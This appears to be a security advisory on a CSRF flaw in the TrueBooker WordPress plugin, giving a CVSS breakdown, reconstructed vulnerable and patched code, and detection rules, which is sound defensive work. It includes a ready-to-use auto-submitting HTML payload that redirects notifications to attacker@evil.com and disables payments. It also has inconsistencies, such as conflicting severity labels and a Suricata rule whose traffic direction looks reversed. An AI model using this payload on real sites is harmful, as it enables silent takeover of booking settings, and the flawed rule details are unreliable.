CVE-2024-6925

Executive Summary

CVE-2024-6925 is a Cross-Site Request Forgery (CSRF) vulnerability in the TrueBooker WordPress plugin (versions before 1.0.3). The plugin fails to implement a CSRF nonce or other verification mechanism when updating its settings via the WordPress admin panel. This allows an attacker to craft a malicious link or page that, when visited by an authenticated administrator, silently modifies the plugin’s configuration. The impact is limited to settings manipulation (e.g., changing booking rules, email notifications, or payment gateways), but does not allow direct data exfiltration or privilege escalation. The vulnerability is classified as low severity (CVSS 3.1 base score 4.3) due to the requirement for user interaction and the limited scope of impact.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No supply chain compromise (e.g., malicious commits or backdoored packages) has been identified. The fix is available in version 1.0.3, which adds a CSRF check (nonce verification) to the settings update handler.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the admin must click a crafted link or visit a malicious page.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – settings can be altered.
• Availability Impact: None (A:N)

Threat Level: Low. Exploitation requires social engineering to trick an admin into performing an action. The impact is limited to configuration changes, which could disrupt booking operations but not compromise sensitive data.

Deep Dive & Mechanics

The vulnerability resides in the truebooker plugin’s settings page, typically located at /wp-admin/admin.php?page=truebooker-settings. The plugin registers a settings update action via admin_post or admin_init hooks without verifying a CSRF nonce. An attacker can craft a form submission or a direct GET/POST request that modifies plugin options such as:

• Booking form fields
• Email notification templates
• Payment gateway credentials (if stored in plaintext)
• Time slot availability

Because WordPress admin actions are stateful and rely on cookies, a logged-in admin’s session is automatically used when they interact with a crafted request. The lack of a nonce means the server cannot distinguish between a legitimate admin action and a forged one.

Root Cause: The update_settings() function (or equivalent) in the plugin’s main class does not call check_admin_referer() or wp_verify_nonce() before processing $_POST data.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.0.3):

// In truebooker.php or admin/class-truebooker-admin.php
public function update_settings() {
    if ( isset( $_POST['truebooker_settings'] ) ) {
        update_option( 'truebooker_settings', $_POST['truebooker_settings'] );
        // No nonce check!
    }
}

Patched Code (version 1.0.3):

public function update_settings() {
    // Verify nonce
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'truebooker_update_settings' ) ) {
        wp_die( 'Security check failed.' );
    }
    if ( isset( $_POST['truebooker_settings'] ) ) {
        update_option( 'truebooker_settings', $_POST['truebooker_settings'] );
    }
}

The patch adds a call to wp_verify_nonce() using a unique action name (truebooker_update_settings). The admin settings form must now include a hidden nonce field generated by wp_nonce_field().

Exploitation & Lab Setup

Red Team (Proof of Concept)

Prerequisites:

• A WordPress site with TrueBooker plugin version < 1.0.3.
• An authenticated admin user (session cookie).

Exploit Steps:

1. Craft an HTML page that auto-submits a form to the vulnerable endpoint.
2. Host the page on an attacker-controlled server or use a phishing email.
3. Trick the admin into visiting the page.

Example HTML Payload:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="truebooker_update_settings">
    <input type="hidden" name="truebooker_settings[email_notification]" value="attacker@evil.com">
    <input type="hidden" name="truebooker_settings[payment_gateway]" value="disabled">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

Expected Outcome: The admin’s browser sends the request with their session cookie, and the plugin settings are silently changed.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unexpected changes to the truebooker_settings option in the WordPress database.
• Log all POST requests to /wp-admin/admin-post.php with action=truebooker_update_settings and verify the presence of a valid nonce.

Hardening:

• Ensure the plugin is updated to version 1.0.3 or later.
• Implement additional CSRF protection at the web application firewall (WAF) level by requiring a custom header (e.g., X-Requested-By: WordPress).
• Use the WordPress wp_verify_nonce() function in all custom admin actions.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-post.php with action=truebooker_update_settings and no _wpnonce parameter.
• Host: Modified wp_options table entry for truebooker_settings with unexpected values (e.g., altered email addresses, disabled features).
• Logs: WordPress debug log entries showing failed nonce checks (if patched) or missing nonce warnings.
• File: Presence of the vulnerable plugin version (check readme.txt or plugin header for version < 1.0.3).

Detection Engineering

YARA Rule

rule CVE_2024_6925_TrueBooker_CSRF {
    meta:
        description = "Detects vulnerable TrueBooker plugin versions (< 1.0.3) by checking for missing nonce in settings update"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6925"
    strings:
        $vuln_func = "update_settings" nocase
        $no_nonce = "update_option( 'truebooker_settings'" nocase
        $nonce_check = "wp_verify_nonce" nocase
    condition:
        $vuln_func and $no_nonce and not $nonce_check
}

Sigma Rule

title: CVE-2024-6925 TrueBooker CSRF Settings Modification
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to modify TrueBooker plugin settings without a CSRF nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-post.php'
        cs-uri-query: 'action=truebooker_update_settings'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with nonce (should be filtered)
level: medium
tags:
    - attack.initial_access
    - attack.t1190

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-6925 TrueBooker CSRF Settings Modification Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-post.php";
    http_uri;
    content:"action=truebooker_update_settings";
    http_uri;
    pcre:"/^(?!.*_wpnonce).*$/Ui";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2024-6925;
)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to version 1.0.3 or later via the WordPress admin dashboard or by downloading from wordpress.org.
2. Verify the update by checking the plugin version in wp-content/plugins/truebooker/truebooker.php (look for Version: 1.0.3).

Long-Term Hardening:

• Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php that lack a _wpnonce parameter for known actions.
• Educate administrators about phishing attacks that trick them into clicking malicious links.
• Regularly audit WordPress plugins for CSRF vulnerabilities using automated scanners (e.g., WPScan).

Workaround (if patching is not immediately possible):

• Disable the TrueBooker plugin until the update can be applied.
• Use a security plugin (e.g., Wordfence) that adds CSRF tokens to all admin actions.

Valters IT
DevSecOps & Cyber Threat Intelligence